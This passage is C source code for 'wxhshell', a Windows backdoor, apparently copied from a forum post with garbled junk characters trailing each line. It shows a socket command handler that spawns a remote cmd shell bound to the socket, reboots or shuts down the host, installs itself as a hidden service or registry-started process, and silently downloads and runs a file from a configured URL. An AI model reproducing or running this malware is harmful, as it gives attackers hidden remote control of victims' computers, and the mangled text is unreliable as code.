  else { &k_LK  
7KUf,0D  
    switch(cmd[0]) { 7J6Z?  
  3]}RjOTU  
  // 帮助 lJfk4 -;M  
  case '?': { :}#)ipr  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); iYYuZ.  
    break; a0A=R5_  
  } * Z)j"i  
  // 安装 SQ+r'g  
  case 'i': { 1VG]|6f  
    if(Install()) t(6i4c>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wRK27=\z  
    else m&q0 _nay  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :6(@P1vA 6  
    break; 47{5{/B-  
    } {/5aF_0D.  
  // 卸载  o4yl3o  
  case 'r': { }C[ "'tLX  
    if(Uninstall()) EAWBgOO8iC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %}~(%@qB>+  
    else )'7Qd(4WT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?A.ah  
    break; %c]N-  
    } Dz2Z (EXI~  
  // 显示 wxhshell 所在路径 }Cfl|t<5f  
  case 'p': { |-*50j l  
    char svExeFile[MAX_PATH]; Us# /#-hJ  
    strcpy(svExeFile,"\n\r"); @\oZ2sB  
      strcat(svExeFile,ExeFile); E|RC|Sz=u  
        send(wsh,svExeFile,strlen(svExeFile),0); "+&pd!\  
    break; up8d3  
    } >e.KD) qA  
  // 重启 X6t9*|C  
  case 'b': { #J5_z#-Q;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); KMqGWO*  
    if(Boot(REBOOT)) !vK0|eV3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >6WZSw/Hq  
    else { W)o*$c u  
    closesocket(wsh); >PQ?|Uk  
    ExitThread(0); &KI|qtQ;  
    } k}}'f A  
    break; a[rb-Z  
    } o F_r C[  
  // 关机 D ZZRu8~  
  case 'd': { N|"kuRN#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +mR^I$9  
    if(Boot(SHUTDOWN)) G*%U0OTi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H)&iFq  
    else { hz<TjWXv'  
    closesocket(wsh); ;P8% yf  
    ExitThread(0); `YZl2c<w*  
    } tGXH)=K  
    break; O/(vimx.#F  
    } c`S+>:  
  // 获取shell {^;7DV:  
  case 's': { ?uJX  
    CmdShell(wsh); 2Ir*}s2{  
    closesocket(wsh); e$Yvy>I'tS  
    ExitThread(0); fJk'5kv  
    break; Sj/v:  
  } F9las#\J  
  // 退出 -U9C{q?h  
  case 'x': { #k>A,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L>7@!/ 9L  
    CloseIt(wsh); }1Mf0S  
    break; d, ?GW  
    } # SJJ@SM  
  // 离开 ?Oy0p8  
  case 'q': { _.]mES|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =^{MyR7  
    closesocket(wsh); w0H#M)c  
    WSACleanup(); )^6Os2  
    exit(1); {;u+?uY  
    break; (w(k*b/  
        } J 48$l(l3  
  } #D{Eq8dp  
  } 9Nv?j=*$  
X$P(8'[9A  
  // 提示信息 [[N${C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~mK +Q%G5  
} Gp)J[8j  
  } lt2MB#  
xA-?pLt "G  
  return; q*a~9.i @  
} }ksp(.}G  
MujEjD "|  
// shell模块句柄 rb'mFqg*u  
int CmdShell(SOCKET sock) eq&QWxiD*  
{ &U}8@;  
STARTUPINFO si; W|n$H`;R  
ZeroMemory(&si,sizeof(si)); Z8Vof~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n6Z!~W8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q^@7Yg@l  
PROCESS_INFORMATION ProcessInfo; N@!PhP  
char cmdline[]="cmd"; Ix@B*Xz:`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gsa@ci  
  return 0; vMJ(Ll7/  
} oaILh  
NNE(jJ`/  
// 自身启动模式 6zNWDUf  
int StartFromService(void) U:c 0s  
{ `/!FZh<  
typedef struct 7d|1T'  
{ )z4eRs F|  
  DWORD ExitStatus; utC^wA5U~  
  DWORD PebBaseAddress; 4ZR2U3jd1  
  DWORD AffinityMask; cF9oo%3  
  DWORD BasePriority; =43NSY  
  ULONG UniqueProcessId; L8 NZU*"  
  ULONG InheritedFromUniqueProcessId; FDGG$z?>m  
}   PROCESS_BASIC_INFORMATION; !g=b=YK  
s&$e}yxVO  
PROCNTQSIP NtQueryInformationProcess; Zv-1*hhHf  
0E (G1o'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !)W#|sys&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]Ge>S?u  
ryA+Lli.  
  HANDLE             hProcess; =d:3]M^  
  PROCESS_BASIC_INFORMATION pbi; -O-?hsV)y  
g4+Hq *  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .ns=jp  
  if(NULL == hInst ) return 0; :^>&t^E  
a+a6P5kJ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /nX_Q?mo  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); IX<9_q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :7dc;WdM  
nvNF~)mu  
  if (!NtQueryInformationProcess) return 0; + DE/DR:  
8xh x*A  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A2A_F|f  
  if(!hProcess) return 0; <$25kb R5K  
Xrpvq(]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C>,> _  
! R3P@,j  
  CloseHandle(hProcess); R?- zJ ;  
=#<bB)59  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X{6a  
if(hProcess==NULL) return 0; BB(v,W  
DVKb`KJ"  
HMODULE hMod; r=A A /n<  
char procName[255]; hk S:_e=  
unsigned long cbNeeded; UTN[! 0[  
g)|vS>^~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k"/Rjd(;  
9e vQQN6D|  
  CloseHandle(hProcess); )N1iGJO)  
v '^}zO  
if(strstr(procName,"services")) return 1; // 以服务启动 Sl<1Rme=w  
AP1ZIc6  
  return 0; // 注册表启动 Z'}%Mkm`i}  
} ozl!vf# kv  
;vX1U8  
// 主模块  M}@>h  
int StartWxhshell(LPSTR lpCmdLine) |k%1mE(+=s  
{ 5 ddfdIp  
  SOCKET wsl; 7-~)/7L  
BOOL val=TRUE; *">CEQ[MT  
  int port=0; 9d(#/n  
  struct sockaddr_in door; C+5X8  
Fr; 's(^   
  if(wscfg.ws_autoins) Install(); ZW0\_1  
V7p hD3Y  
port=atoi(lpCmdLine); IXR'JZ?fH  
'RzO`-dr  
if(port<=0) port=wscfg.ws_port; u=vBjaN2_w  
gG}H5uN  
  WSADATA data; M7 k WJ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; yx:+Xy*N  
Y5;afU='  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   w9O!L9 6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >gM"*Laa?  
  door.sin_family = AF_INET; `8Ych@f]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); uwZ,l-6T  
  door.sin_port = htons(port); <o*b6 m%  
6-J}ZfGj  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^Qn:#O9  
closesocket(wsl); Y%- !%|  
return 1; )& Oxp&x  
} Fa v++z  
M5t.l (  
  if(listen(wsl,2) == INVALID_SOCKET) { *p#@W-:9E  
closesocket(wsl); [^6z>  
return 1; EN":}!E:  
} g;nLR<]  
  Wxhshell(wsl); v2p0EOS  
  WSACleanup(); ) jvI Nb  
re}PpXRC  
return 0; r)K5<[\r  
[?O4l`  
} 1sonDBd0@;  
n00J21  
// 以NT服务方式启动 _<Ij)#Rq7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >D}|'.&  
{ Q .h.d))  
DWORD   status = 0; dGkw%3[  
  DWORD   specificError = 0xfffffff; 8e,F{>N  
N mxh zjJ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; lcjOBu  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /`DKX }  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 37Q8Yf_  
  serviceStatus.dwWin32ExitCode     = 0; llWY7u"  
  serviceStatus.dwServiceSpecificExitCode = 0; 1EC;t1.7  
  serviceStatus.dwCheckPoint       = 0; HuU$x;~  
  serviceStatus.dwWaitHint       = 0; z\" .(fIV  
tY!l}:E[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ud BIEW,`  
  if (hServiceStatusHandle==0) return; N}ND()bf  
S4{vS?>j  
status = GetLastError(); !J X7y%J  
  if (status!=NO_ERROR) M"/Jn[  
{ jX(${j<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; A|:+c*7]  
    serviceStatus.dwCheckPoint       = 0; RjPkH$u'Pj  
    serviceStatus.dwWaitHint       = 0; 7wPI)]$  
    serviceStatus.dwWin32ExitCode     = status; nLG)>L  
    serviceStatus.dwServiceSpecificExitCode = specificError; ``$$yS~d};  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); j2u'5kJ G  
    return; 5y\35kT'  
  } 7Hgn/b[?b  
rwP)TJh"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; % -AcA  
  serviceStatus.dwCheckPoint       = 0; -$0}rfX  
  serviceStatus.dwWaitHint       = 0; ?~t5>PEonv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !k*B-@F  
} _5~|z$GW  
K@g ~  
// 处理NT服务事件,比如:启动、停止 ?*+U[*M  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \/;c^!(<  
{ J@E]Fl  
switch(fdwControl) >3KlI  
{ fHEIys,{  
case SERVICE_CONTROL_STOP: z 5(5\j]  
  serviceStatus.dwWin32ExitCode = 0; "c]9Q%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {k-_+#W"  
  serviceStatus.dwCheckPoint   = 0; <#nU 06 fN  
  serviceStatus.dwWaitHint     = 0; b$fmU"%&|  
  { O2p E"8=4Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +_cigxpTc  
  } &|ne!wu  
  return; KW[y+c u.#  
case SERVICE_CONTROL_PAUSE: q0Q[]|L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "RK"Pn+  
  break; Mog [,{w  
case SERVICE_CONTROL_CONTINUE: C,W_0= !e  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3%1wQXr0  
  break; N0kCdJv  
case SERVICE_CONTROL_INTERROGATE: )j~{P  
  break; K{/i2^4  
}; t,8?Tf+i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "#7Q}d!x  
} r,0D I  
%aK[Yvo6  
// 标准应用程序主函数 Xy 4k;+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )V[j~uOU)]  
{ )$9w Kk\F  
.d^8?vo  
// 获取操作系统版本 0=6mb]VUi=  
OsIsNt=GetOsVer(); 1t &_]q_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); V*Fy@  
5YNAb/! !F  
  // 从命令行安装 "N=$ =Dy >  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]wEI *c(  
C=q&S6/+  
  // 下载执行文件 h'=)dFw7  
if(wscfg.ws_downexe) { { >izfG,\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \i//Aq  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8w:mL^6x  
} __QnzEF  
6V1oZ-:}  
if(!OsIsNt) { | |pOiR5  
// 如果时win9x,隐藏进程并且设置为注册表启动 W$SV+q(rT  
HideProc(); #iv4L  
StartWxhshell(lpCmdLine); SH=S>  
} I5l%X{u"N  
else JkT!X  
  if(StartFromService()) 85Yi2+8f4  
  // 以服务方式启动 '[F`!X  
  StartServiceCtrlDispatcher(DispatchTable); qg`ae  
else Zn r4^i&(  
  // 普通方式启动 6:B,ir _  
  StartWxhshell(lpCmdLine); ]J!#"m-]  
{Hl(t$3V`  
return 0; U= f9b]Y  
}
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只看该作者 1 发表于: 2006-10-10
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